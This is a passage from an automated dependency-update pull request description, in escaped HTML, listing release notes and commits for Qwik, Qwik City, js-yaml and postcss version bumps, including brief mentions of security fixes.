href=\"https://redirect.github.com/QwikDev/qwik/pull/8248\"\u003e#8248\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e⚡️: the core.js and preloader.js references in q-manifest and bundle-graph are now filtered out for smaller outputs. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8278\"\u003e#8278\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.18.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePERF: Computed signals now only trigger listeners if their value has changed (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8148\"\u003e#8148\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eexecute cleanup cb for all component tree while calling dispose.cleanup method returned by render fn (by \u003ca href=\"https://github.com/sashkashishka\"\u003e\u003ccode\u003e@​sashkashishka\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8164\"\u003e#8164\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 useResource's onRejected now catches errors again; preventing unhandled errors in test environments. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8197\"\u003e#8197\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e✨ \u003ccode\u003eqwik add compiled-i18\u003c/code\u003e now adds easy i18n to your app. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8177\"\u003e#8177\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.17.2\u003c/h2\u003e\n\u003ch2\u003e1.17.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 the bunding won't lead to circular dependencies in qwik-astro apps anymore. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8052\"\u003e#8052\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e✨ The optimizer is now built with a recent Rust toolchain. Fresher bits! (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8040\"\u003e#8040\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.17.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/d507a08eccf3ef20e2505b3d195fbf588bd48f65\"\u003e\u003ccode\u003ed507a08\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/3efd7a57acac51a487ea6c2a39519f43dd116fc9\"\u003e\u003ccode\u003e3efd7a5\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into fix/virtual-css-dev-ssr-404\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/9163ccfc3ce1506a852300fb0d42ac6223190e82\"\u003e\u003ccode\u003e9163ccf\u003c/code\u003e\u003c/a\u003e chore(deps): bump rollup in the npm_and_yarn group across 1 directory\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/0314b61429e47ebf074619aa86fedb74cd22e11b\"\u003e\u003ccode\u003e0314b61\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into fix/deno-production-builds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/fe45eb6fdef490ff31a0c1bbb02473152b5cda45\"\u003e\u003ccode\u003efe45eb6\u003c/code\u003e\u003c/a\u003e fixup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/cb568778560a26d439872fd50dbd2f48cd05408b\"\u003e\u003ccode\u003ecb56877\u003c/code\u003e\u003c/a\u003e fix(core): qrl importing on server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/03b590fdc952cb5991950b39b50a4b8aebdbcab4\"\u003e\u003ccode\u003e03b590f\u003c/code\u003e\u003c/a\u003e fix(qwik-city): support Deno as package manager for production builds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/63e6f5509f85f836fbcc7aa18cc6bce1c9c2916c\"\u003e\u003ccode\u003e63e6f55\u003c/code\u003e\u003c/a\u003e fix: resolve 404 for virtual CSS modules during dev SSR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/97df2e6c1c56c385d47d969dd65663c1a77b1248\"\u003e\u003ccode\u003e97df2e6\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/25dbde0fca336d65c70896a3ed34091708a78ac7\"\u003e\u003ccode\u003e25dbde0\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into upcoming\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/QwikDev/qwik/commits/@builder.io/qwik@1.19.1/packages/qwik\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@builder.io/qwik-city` from 1.4.3 to 1.19.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/QwikDev/qwik/releases\"\u003e\u003ccode\u003e@​builder.io/qwik-city's releases\u003c/code\u003e\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 When a form POST is done, keys like \u0026quot;name.1\u0026quot; mean it's an array. However, later keys could be strings like \u0026quot;name.value\u0026quot;. Now, we check if all the keys are numbers, otherwise we make an object instead of an array. This allows for more correct form data handling. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8424\"\u003e#8424\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 handle special characters in dynamic route (by \u003ca href=\"https://github.com/gioboa\"\u003e\u003ccode\u003e@​gioboa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8400\"\u003e#8400\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 Link hash change now properly updates location.url.hash (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8305\"\u003e#8305\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ allow mocking route loaders \u0026amp; actions in \u003ccode\u003eQwikCityMockProvider\u003c/code\u003e (by \u003ca href=\"https://github.com/alexismch\"\u003e\u003ccode\u003e@​alexismch\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8102\"\u003e#8102\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 qwik-city spa routeStateInternal and routeLocation url origins mismatch (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8234\"\u003e#8234\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(qwik-city): add getOrigin option to QwikCityBunOptions and QwikCityDenoOptions for improved URL handling (by \u003ca href=\"https://github.com/JerryWu1234\"\u003e\u003ccode\u003e@​JerryWu1234\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8251\"\u003e#8251\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMake RequestEvents readonly instead of frozen (by \u003ca href=\"https://github.com/DustinJSilk\"\u003e\u003ccode\u003e@​DustinJSilk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8135\"\u003e#8135\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/QwikDev/qwik/blob/@builder.io/qwik-city@1.19.2/packages/qwik-city/CHANGELOG.md\"\u003e\u003ccode\u003e@​builder.io/qwik-city's changelog\u003c/code\u003e\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.19.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 When a form POST is done, keys like \u0026quot;name.1\u0026quot; mean it's an array. However, later keys could be strings like \u0026quot;name.value\u0026quot;. Now, we check if all the keys are numbers, otherwise we make an object instead of an array. This allows for more correct form data handling. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8424\"\u003e#8424\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 handle special characters in dynamic route (by \u003ca href=\"https://github.com/gioboa\"\u003e\u003ccode\u003e@​gioboa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8400\"\u003e#8400\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 Link hash change now properly updates location.url.hash (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8305\"\u003e#8305\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ allow mocking route loaders \u0026amp; actions in \u003ccode\u003eQwikCityMockProvider\u003c/code\u003e (by \u003ca href=\"https://github.com/alexismch\"\u003e\u003ccode\u003e@​alexismch\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8102\"\u003e#8102\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 qwik-city spa routeStateInternal and routeLocation url origins mismatch (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8234\"\u003e#8234\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(qwik-city): add getOrigin option to QwikCityBunOptions and QwikCityDenoOptions for improved URL handling (by \u003ca href=\"https://github.com/JerryWu1234\"\u003e\u003ccode\u003e@​JerryWu1234\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8251\"\u003e#8251\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMake RequestEvents readonly instead of frozen (by \u003ca href=\"https://github.com/DustinJSilk\"\u003e\u003ccode\u003e@​DustinJSilk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8135\"\u003e#8135\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.18.0\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexecute cleanup cb for all component tree while calling dispose.cleanup method returned by render fn (by \u003ca href=\"https://github.com/sashkashishka\"\u003e\u003ccode\u003e@​sashkashishka\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8164\"\u003e#8164\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.17.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 history behavior in some edge cases has been brought inline with the E2E tests that were accidentally disabled. (the tests can't be disabled any more either) (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://github.com/QwikDev/qwik/commit/206f3e07caad5a5736f160c09a618f348896860d\"\u003e\u003ccode\u003e206f3e0\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 SPA routing is broken unless origin matches value in in vite.config \u003ca href=\"https://github.com/QwikDev/qwik/tree/HEAD/packages/qwik-city/issues/8093\"\u003e#8093\u003c/a\u003e (by \u003ca href=\"https://github.com/termermc\"\u003e\u003ccode\u003e@​termermc\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8097\"\u003e#8097\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eIf the SSG origin was set to \u003ccode\u003elocalhost:3000\u003c/code\u003e and a user visited from \u003ccode\u003e127.0.0.1:3000\u003c/code\u003e, SPA routing would be broken.\u003c/p\u003e\n\u003cp\u003eInternally, useNavigate's context provider \u003ccode\u003egoto\u003c/code\u003e checks the new destination with the last route location. If the\norigin is different, it just does a normal browser navigation. This makes sense; links to other origins cannot use\nSPA routing. However, the initial route it compares was using an origin that came from the server environment.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/0a5e7a4808ec0e617b27e5c827ac273f04bdaaed\"\u003e\u003ccode\u003e0a5e7a4\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/d7aee956e99b0c68782738856e4f4e55af925b58\"\u003e\u003ccode\u003ed7aee95\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/main' into upcoming\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/7b5867c3dd8925df9aa96c4296b1e95a4c2af87d\"\u003e\u003ccode\u003e7b5867c\u003c/code\u003e\u003c/a\u003e fix(qwik-city): better POST formdata array parsing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/2288d8865ea9fa4658c03a6251dcff65faf8af16\"\u003e\u003ccode\u003e2288d88\u003c/code\u003e\u003c/a\u003e chore(deps): bump svgo in the npm_and_yarn group across 1 directory\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/1aa1ad2b18d78444aeaa2f5ac045259e865bb5e0\"\u003e\u003ccode\u003e1aa1ad2\u003c/code\u003e\u003c/a\u003e fix(qwik-city): address lint issues in sitemap stream implementation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/df7dd00f0aca11dd67990cae9a98f81287d314f1\"\u003e\u003ccode\u003edf7dd00\u003c/code\u003e\u003c/a\u003e fix: handle special characters in dynamic route\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/d507a08eccf3ef20e2505b3d195fbf588bd48f65\"\u003e\u003ccode\u003ed507a08\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/03b590fdc952cb5991950b39b50a4b8aebdbcab4\"\u003e\u003ccode\u003e03b590f\u003c/code\u003e\u003c/a\u003e fix(qwik-city): support Deno as package manager for production builds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/8e866a6c074127ef1ae66787b083c7a4b99e4c04\"\u003e\u003ccode\u003e8e866a6\u003c/code\u003e\u003c/a\u003e fix(qwik-city): Link hash change does not update location.url.hash (\u003ca href=\"https://github.com/QwikDev/qwik/tree/HEAD/packages/qwik-city/issues/8305\"\u003e#8305\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/97df2e6c1c56c385d47d969dd65663c1a77b1248\"\u003e\u003ccode\u003e97df2e6\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/QwikDev/qwik/commits/@builder.io/qwik-city@1.19.2/packages/qwik-city\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `js-yaml` from 4.1.0 to 4.2.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nodeca/js-yaml/blob/master/CHANGELOG.md\"\u003ejs-yaml's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[4.2.0] - 2026-06-01\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003edocs/safety.md\u003c/code\u003e with notes about processing untrusted YAML.\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003emaxDepth\u003c/code\u003e (100) loader option. Not a problem, but gives a better\nexception instead of RangeError on stack overflow.\u003c/li\u003e\n\u003cli\u003eAdded a loader option limiting merge sequence length. Not a problem after\n\u003ccode\u003emerge\u003c/code\u003e fix, but an additional restriction for safety.\u003c/li\u003e\n\u003cli\u003eAdded sourcemaps to \u003ccode\u003edist/\u003c/code\u003e builds.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStop resolving numbers with underscores as numeric scalars, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/627\"\u003e#627\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eSwitched dev toolchains to Vite / neostandard.\u003c/li\u003e\n\u003cli\u003eUpdated demo.\u003c/li\u003e\n\u003cli\u003eReorganized tests.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edist/\u003c/code\u003e files are no longer kept in the repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix parsing of properties on the first implicit block mapping key, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/62\"\u003e#62\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFix trailing whitespace handling when folding flow scalar lines, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/307\"\u003e#307\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eReject top-level block scalars without content indentation, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/280\"\u003e#280\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eEnsure numbers survive round-trip, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/737\"\u003e#737\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFix test coverage for issue \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/221\"\u003e#221\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFix flow scalar trailing whitespace folding, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/307\"\u003e#307\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFix digits in YAML named tag handles.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix potential DoS via quadratic complexity in merge - deduplicate repeated\nelements (makes sense for malformed files \u0026gt; 10K).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[3.14.2] - 2025-11-15\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBackported v4.1.1 fix to v3\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[4.1.1] - 2025-11-12\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix prototype pollution issue in yaml merge (\u0026lt;\u0026lt;) operator.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/590dbabadd172b099c07654fab2eabec8c7a07b9\"\u003e\u003ccode\u003e590dbab\u003c/code\u003e\u003c/a\u003e 4.2.0 released\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/f944dc5cd132251752499bdb157f33027d362177\"\u003e\u003ccode\u003ef944dc5\u003c/code\u003e\u003c/a\u003e Add package.json funding field\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/f6927192223355b64f2a6e19f3071ccc579ee718\"\u003e\u003ccode\u003ef692719\u003c/code\u003e\u003c/a\u003e Changelog update\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/9971a068fe7fb67eeedec7cf15fd2aba1b71bd79\"\u003e\u003ccode\u003e9971a06\u003c/code\u003e\u003c/a\u003e Fix digits in YAML named tag handles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/464a5b854b682691d35cc119500f74595d2e513c\"\u003e\u003ccode\u003e464a5b8\u003c/code\u003e\u003c/a\u003e Fix flow scalar trailing whitespace folding, close \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/307\"\u003e#307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/1fda4f715d368c74e6e65e44d3201946c9577e54\"\u003e\u003ccode\u003e1fda4f7\u003c/code\u003e\u003c/a\u003e Tests for \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/567\"\u003e#567\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/565\"\u003e#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/031ad079a65da5018cbe6280f3b9306e39699b5a\"\u003e\u003ccode\u003e031ad07\u003c/code\u003e\u003c/a\u003e Stop resolving numbers with underscores as numeric scalars, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/627\"\u003e#627\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/e46d223b37110ec2ba5b5b1da672a8f6862832d6\"\u003e\u003ccode\u003ee46d223\u003c/code\u003e\u003c/a\u003e CI config update\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/9023feec80d19f4c39e73d1b25fc7644e93bf628\"\u003e\u003ccode\u003e9023fee\u003c/code\u003e\u003c/a\u003e Add lockfile\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/990e6f4d1c51d03b53da0dc6df3c7fc0f61ad909\"\u003e\u003ccode\u003e990e6f4\u003c/code\u003e\u003c/a\u003e Docs update\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nodeca/js-yaml/compare/4.1.0...4.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.4.33 to 8.5.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed XSS via unescaped \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e in non-bundler cases (by \u003ca 